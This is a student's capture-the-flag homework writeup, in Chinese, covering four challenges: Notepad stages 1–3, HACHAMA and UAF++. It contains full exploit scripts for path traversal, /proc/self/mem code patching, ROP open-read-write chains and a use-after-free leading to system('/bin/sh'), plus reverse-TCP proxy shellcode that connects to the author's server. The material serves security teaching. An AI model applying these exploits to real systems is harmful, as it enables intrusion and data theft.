# SWSEC HW3 Writeup
###### tags: `swsec` `writeup`
<style>
p:has(img) {
text-align: center;
}
.markdown-body img {
max-width: 70%;
}
</style>
## Notepad-Stage1
### Recon
保護全開、有 seccomp -> ORW 與 socket 相關 不能 execve

`openfile` 中有 path traversal 漏洞 而透過 `snprintf(0x80)` 只要 `note_name` 夠長 就能讓 `.txt` 不會被 append 到 `fn`

`command_editnote`、`command_shownote` 皆會呼叫到 `openfile`
結合 path traversal 漏洞 可以任意讀寫檔案

`commane_editnote` 會透過 `strlen` 計算要 write 的量 所以寫的資料中途不能有 NULL byte

### Exploit
透過在檔名 prepend `/` 的方式 不會影響檔案路徑解析
當塞入太多 `/` 導致 `.txt` 沒被完整複製進去導致噴錯時 就能知道 backend 傳回來的 path (`resp.payload`) 究竟有多長 進而推算需要加上多少 `/` 才能把 `.txt` 完全推走
接著透過 `../` 即可跳出 cwd 讀到其他路徑的檔案 這邊直接去讀 `/flag_user`
`Notepad-Stage1/exp.py`
```python
from pwn import *
r = remote(host, port)
register()
login()
new_note(b"a", b"a\n")
fn = b"a"
while True:
fn = b"/" + fn
content = show_note(fn, 0)
if b"Couldn't open the file." in content:
break
host_path_len = 0x80 - 3 - fn.count(b"/") - 1
content = show_note(b"../../../flag_user".rjust(0x80 - host_path_len, b"/"), 0, 0x80)
print(content.decode())
```

FLAG: `flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!}`
## Notepad-Stage2
透過上一個 stage 的 path traversal 可以用來讀 procfs
從 `/proc/1/cmdline` 裡面可以讀到 backend binary 的檔名 其路徑為 `/home/notepad/backend_4050c20b6ca4118b63acd960cd1b9cd8`

有了路徑之後即可 leak backend binary 一次可以讀 0x80 bytes
```python
content = show_note(b"../../../proc/1/cmdline".rjust(0x80 - host_path_len, b"/"), 0, 0x80)
fn = content.decode().split(" ")[2]
file_content = b""
try:
for i in range(len(file_content), 0x600000, 0x80):
content = show_note(f"../../..{fn}".encode().rjust(0x80 - host_path_len, b"/"), i, 0x80)
if b"Read note failed." in content:
break
file_content += content
finally:
with open("backend", "wb") as f:
f.write(file_content)
```
此時會發現無法透過 path traversal 的洞來讀 `/flag_backend`
所以開始看 backend
### Recon
保護全開 但沒有 seccomp
當 cmd 是 `0x8787` 的時候 backend 即會讀取 `/flag_backend` 並傳回來


### Exploit
一樣是使用 procfs 這次的目標是 `/proc/self/mem` 此為自己這個 process 的 memory 映射 操作這個檔案等於操作自己的記憶體內容
可以先透過 `/proc/self/maps` 讀自己的 memory layout 得到 binary base、libc base 等資訊

這時候雖然 .text 段是不可寫的 但透過 `/proc/self/mem` 卻能繞過這個限制
Ref: https://offlinemark.com/2021/05/12/an-obscure-quirk-of-proc/
因此直接 patch binary 讓其執行任意 code `register` 功能用不到了 所以把他 patch 掉
`puts("Register Success")` -> `puts(resp.payload)`

`mov [rbp+req.cmd], 1` -> `mov [rbp+req.cmd], 0x8787`


這樣下次 call register notepad 即會發出 get flag 的 request 然後直接 puts 出來
`Notepad-Stage2/exp.py`
```python
host_path_len = 21
file_content = b""
for i in range(0, 0x6000, 0x80):
content = show_note(b"../../../proc/self/maps".rjust(0x80 - host_path_len, b"/"), i, 0x80)
if b"Read note failed." in content:
break
file_content += content
binary_base = None
libc_base = None
stack_base = None
for l in file_content.decode().splitlines():
s = l.split(" ")
if s[-1] == "/home/notepad/notepad" and binary_base is None:
binary_base = int(s[0].split("-")[0], 16)
elif s[-1] == "/usr/lib/x86_64-linux-gnu/libc.so.6" and libc_base is None:
libc_base = int(s[0].split("-")[0], 16)
elif s[-1] == "[stack]" and stack_base is None:
stack_base = int(s[0].split("-")[0], 16)
# override code to puts(resp.payload)
binary.address = binary_base
write_target = binary_base + 0x188A
shellcode = "lea rdi, [rbp-0x110+4] /* resp->payload */"
payload = asm(shellcode).ljust(0x189E - 0x188A, b"\x90")
edit_note(b"../../../../../proc/self/mem".rjust(0x80 - host_path_len, b"/"), write_target, payload)
# overwrite cmd
write_target = binary_base + 0x17C4
payload = p32(0x8787)
edit_note(b"../../../../../proc/self/mem".rjust(0x80 - host_path_len, b"/"), write_target, payload)
flag = register()
print(flag.decode())
```

FLAG: `flag{why_d0_y0u_KnoM_tH1s_c0WW@nd!?}`
## Notepad-Stage3 (WIP)
透過前端操作太痛苦了 所以將 register 複寫成 reverse tcp proxy
會先連到我的 server 並接收 request、傳給 backend、回傳結果到 server
行為如下:
```c
void reverse_tcp(int backend_fd) {
int reverse_fd;
struct sockaddr_in addr;
struct Command req;
struct Response resp;
reverse_fd = syscall(SYS_socket, AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(40005);
bzero(addr.sin_zero, sizeof(addr.sin_zero));
syscall(SYS_connect, reverse_fd, &addr, 0x10);
while (1) {
syscall(SYS_read, reverse_fd, &req, sizeof(req));
syscall(SYS_write, backend_fd, &req, sizeof(req));
syscall(SYS_read, backend_fd, &resp, sizeof(resp));
syscall(SYS_write, reverse_fd, &resp, sizeof(resp));
}
}
```
將其 build 成 shellcode 後 可能會出現 NULL byte 此時 `edit_note` 寫的就不完整
為了避免這個問題 將裡面 `strlen` 的部分覆蓋成從 stack 上抓 call `edit_note` 前所存的 `note_lena`

`Notepad-Stage3/connect.py`
`Notepad-Stage3/shellcode.py`
```asm
mov rax,QWORD PTR [rbp-0x20]
sub ax,0x50 /* note_bufa - 0x50, use ax to prevent higher 0 bit in instruction */
mov rdx,QWORD PTR [rax]
```
### Recon
每個 command 都是獨立的新連線 (`command_handler`) 而且都不會 close connection
程式裡面有 malloc 但沒有 free 所以沒有 UAF 相關的洞
在 `check_token` 中 可以看到奇怪的行為
當找到對應 token 的 session 時 會將 `(req->)token + 33` 複製到 `session->token` 上去更新 token

<img src=https://hackmd.io/_uploads/Bk0O_lF8p.png width=35%> <img src=https://hackmd.io/_uploads/HkeqdgtI6.png width=35%>
觀察後發現 `token+33` 實際上就是 `payload + 1`
而 `session->token` 僅有 32 bytes 若 `payload` 夠長 可以蓋到 `session->next` 甚至是 heap 上的下一個 chunk

僅 `command_getgolder` 跟 `command_newnote` 中有用到 `check_token`
另外看到 `command_login` 中的 `resp` 沒有被 `memset` 為 0
因此可能會 leak stack 上剩下來的東西

### Exploit
先 call `get_flag` 後 stack 上會殘留一些 address
接著再 call `command_login` 可以看到一些長得像 stack 上的 address 的東西
可以藉此 leak stack address 與 canary

`Notepad-Stage3/Server.py`
```python
from pwn import *
l = listen(40005)
_ = l.wait_for_connection()
token = b""
l.send(((0x8787).to_bytes(4, 'little') + token).ljust(0xA4, b"\x00"))
res = l.recv(0x104)
flag = res[4:].strip(b"\x00")
l.send(((2).to_bytes(4, 'little') + b"\x00" * 32 + b"AAA\x00").ljust(0xA4, b"\x00"))
res = l.recv(0x104)
token = res[4:4+32]
```
#### 任意讀
`command_getfolder` 會回傳 `user->root`

透過 `check_token` overflow 蓋掉下一個 `session->user` 的位置 把它蓋成 `&target-0x20` 後即可透過 `command_getfolder` 讀取該位置的值
要確保下一個 heap chunk 仍是 session 最簡單的辦法是直接登入兩次
#### 任意寫
可以透過 `check_token` 來做寫入 但寫入的東西中途不能有 NULL byte

先把 `session->next` 控到 `&target-0x10` 然後再觸發一次 `check_token`
這裡要注意的是 當 `current_session = &target-0x10` 的時候要能驗過 token
所以必須先用前面的任意讀來 leak 上面原本的東西 再把它當成這次 request 的 token
#### ROP
透過 uninitialized 的洞 leak stack 後 可以算出 `connection_handler` 的 stack frame
所以可以將其 return address 寫成自己的 address
另外 stack 上也有 libc 相關 address 可以用其還原 libc base
除了透過任意寫一個一個 gadget 慢慢找地方寫 可以把 ROP chain 直接寫在 `req.payload` (不用管 `strcpy` 遇到 NULL 的問題了) 再透過 `pop rsp` 的 gadget 跳到 `req.payload` 中的 ROP chain
ROP chain 裡面可以 call `mmap` 開一段可執行的記憶體並 call `read` 把 shellcode 讀進去跑 這樣可以 bypass 難用的 `strcpy`
關於 read 所需的 `fd` 因為 connection 不會關 所以 fd 會隨著每次 request 遞增 因此是可以推算的
若有遇到 local 算不準的問題 可以先到 stack 上讀前面 stack frame 上存的 fd 為基準再去遞增
#### RCE
最後拿 shellcode setuid、打 reverse shell 應就可拿 flag
---
~~FLAG~~ 沒空寫 exploit QQ
## HACHAMA
### Recon
保護全開、有 seccomp 不能 execve

有兩個 read,另外有一個 strcpy 會把 input 放到 global var 上後再 concat ` hachamachama`
`n`、`n2` 看起來都不會讀超過 buffer

觀察 bss 發現 `msg` 的長度是 32 後面緊接著 `n2` 如果 `name` 剛好是 20 bytes 滿 在後面接上 ` hachamachama` 後 最後面的 `a` 會蓋到 n2 上面 讓下面的 `n2` 變成 0x61
這讓下面的 read 會比 `buffer` 還長 變得可以做 BOF 但只能疊 `0x61 - 0x40 - 0x8 // 8 = 3` 個 ROP Gagdet

### Exploit
在 `n2` 被變大之後 透過底下的 `write` 可以讀到 canary 跟 return address 藉此算出 binary base
另外更底下也有 `__libc_start_call_main+128` 在 stack 上 另外可以推出 libc address
因為這是 dynamically linked binary 沒多少 gadget 能用 所以直接從 libc 上找 gadget
讀完一次之後做 BOF 疊 ROP 跳回 `strcpy(&msg[strlen(msg)], " hachamachama")` 的地方
`strlen` 的 return value 放在 `rax` 因此跳到比他下面 (`main + 0xde`) 配合 `pop rax` 的 gadget 就不用管 `strlen` 了 使其回傳 21
這樣 `n2` 上面就會蓋成 `ma` 亦即 0x6160 可以一次讀到更多的 ROP chain 進來 最後做 ORW 結束
這裡要注意 不能把 `n2` 蓋得太大 否則在 read/write 時會噴 `EINVAL`

`HACHAMA/exp.py`
```python
from pwn import *
r = remote(host, port)
libc = ELF("./libc.so.6")
binary = ELF('./chal')
LIBC_START_CALL_MAIN_OFFSET = 0x29d10
r.recvuntil(b"Haaton's name? ")
r.send(b"A" * 20)
r.recvline()
r.recvline()
r.send(b"HACHAMA\0")
b = r.recv()
canary = b[0x38:0x38+0x8]
# __libc_start_call_main+128
libc.address = u64(b[0x48:0x48+0x8]) - LIBC_START_CALL_MAIN_OFFSET - 128
binary_base = u64(b[0x58:0x58+0x8]) - binary.symbols['main']
POP_RAX = libc.address + 0x45eb0
POP_RDI = libc.address + 0x2a3e5
POP_RSI = libc.address + 0x2be51
POP_RDX_R12 = libc.address + 0x11f497
SYSCALL = libc.address + 0x4278e
# bss + 0x900
rbp = binary_base + 0x4000 + 0x900
payload = flat([
b"A" * 56,
canary,
rbp,
POP_RAX, 21, # custum strlen
binary_base + binary.symbols['main'] + 0xde
])
r.send(payload)
r.recvline()
r.recvline()
# &"/home/chal/flag.txt" = buffer
FLAG_ADDR = rbp - 0x40
# bss + 0x800
BUF_ADDR = binary_base + 0x4000 + 0x800
payload = flat([
b"/home/chal/flag.txt\0".ljust(56, b"A"),
canary,
rbp,
# rdi already point to buffer
# POP_RDI, # FLAG_ADDR,
POP_RSI, 0,
POP_RDX_R12, 0, 0,
POP_RAX, 2,
SYSCALL, # open
POP_RDI, 3, # fd
POP_RSI, BUF_ADDR,
POP_RDX_R12, 0x100, 0,
POP_RAX, 0,
SYSCALL, # read
POP_RDI, 1, # fd
POP_RSI, BUF_ADDR,
POP_RDX_R12, 0x100, 0,
POP_RAX, 1,
SYSCALL # write
])
r.send(payload)
flag = r.recvline()
```

FLAG: `flag{https://www.youtube.com/watch?v=qbEdlmzQftE&list=PLQoA24ikdy_lqxvb6f70g1xTmj2u-G3NT&index=1}
`
## UAF++
### Recon
保護全開
`get_idx` 會檢查範圍

`register_entity` 會把 malloc 出來的 address 放到 global variable (`entities`) 上
相較於 Lab UAF 這隻程式會一次做 malloc entity 跟 set name 不能再分開做

`delete_entity` free 完之後不會清掉 `entities` 上面的值

### Exploit
這隻程式不再送 gift 了 heap 跟 libc 都要自己來 leak
前面先註冊兩個 entity 其中一個註冊非常長的 name (0x418 -> chunk size 0x420) 另一個 chunk 則是短的 name (0x8 -> chunk size 0x20) 再將這兩個 chunk 都 delete 掉
此時 heap 長這樣:
tcache 中為 `&entities[1] -> entities[1].name -> &entities[0]`
unsorted bin 則為 `entities[0].name`

觀察 `struct entity` 可以發現 tcache->next 跟 name 是重疊的

這時候 trigger `entities[1]` 的 event 他會印出 tcache->next 指向的 chunk (`entities[1].name`) 的內容 也就是上個 chunk 的 tcache->next (指到 `entities[0]`) 這樣就可以算 heap base
再來 register 一個 name chunk (size 0x30) 不能從 tcache 拿的 以 pop 一個與 entity 相同大小 (0x20) 的 tcache chunk (順便寫 `/bin/sh`)
另外再 register 一個 entity 其 name chunk 會跟 entity 一樣大 這樣該 entity 的 name chunk 就會跟 `entities[0]` 重疊 set name 的同時就是改 `entities[0]` 的值
在 unsorted bin 中的 chunk 其 `fd`、`bk` 會指到 `main_arena` 中的 unsorted bin 位置 可以藉此來 leak libc base
把 `entities[0].name` 寫成 `fd` 所在的 address
還可以順便把 `entities[0].event` 寫成 `default_handle` 所在位置來 leak binary base
這裡要考慮到前面 size 0x30 的 chunk 是從 size 0x420 的那個 chunk 切出來的 要補一下 offset 0x30
後面 address 都有了之後 再重施故技把 `entities[0]` 改寫
這次把 `entities[0].event` 寫成 `&"/bin/sh"`、`entities[0].handler` 寫成 `&system"`
`trigger_event(0)` 即有 shell
`register_entity`、`delete_entity` 等 function 請參考壓縮檔中腳本
`UAF++/exp.py`
```python
from pwn import *
r = remote(host, port)
MAIN_ARENA_OFFSET = 0x1ecb80
libc = ELF("./libc-2.31.so")
binary = ELF("./chal")
register(0, b"A" * 0x417)
register(1, b"/bin/sh")
delete(0)
delete(1)
trigger_event(1)
r.recvuntil(b"Name: ")
# Index 0 entity addr
chunk_addr = u64(r.recv(6).ljust(8, b"\x00"))
sh_addr = chunk_addr + 0x20
# pop tcache
register(1, b"/bin/sh\0" + b"a" * (0x20 - 1))
# the string chunk here equals to Index 0 entity addr
register(1, (p64(chunk_addr + 0x20 + 0x30) + p64(chunk_addr + 0x20 + 0x420 + 0x10))[:-1])
trigger_event(0)
r.recvuntil(b"Name: ")
# &main_arena+0x60
main_arena_addr = u64(r.recv(6).ljust(8, b"\x00")) - 0x60
libc.address = main_arena_addr - MAIN_ARENA_OFFSET # main_arena offset
r.recvuntil(b"EVENT: get event named \"")
# &default_handle
handler_addr = u64(r.recv(6).ljust(8, b"\x00"))
binary_addr = handler_addr - binary.symbols['default_handle']
delete(1)
register(1, (p64(sh_addr) + p64(sh_addr) + p64(libc.symbols['system']))[:-1])
trigger_event(0)
```

FLAG: `flag{Y0u_Kn0w_H0w_T0_0veR1aP_N4me_aNd_EnT1Ty!!!}`
---
題外話 要知道 `main_arena` 在 libc 中的 address 會需要該 libc 的 debug symbol

本題版本為 `2.31-0ubuntu9.9` 經過一番搜尋找到 [libc6-dbg 2.31-0ubuntu9.9](https://blueprints.launchpad.net/ubuntu/focal/amd64/libc6-dbg/2.31-0ubuntu9.9)
先透過 `readelf -x .gnu_debuglink ./libc-2.31.so` 找到對應的 symbol 檔名

再去 deb 裡面抓檔案出來丟到同個資料夾 這樣 gdb 就會去抓了
也能用 `readelf` 去找到 offset 寫到 exploit 中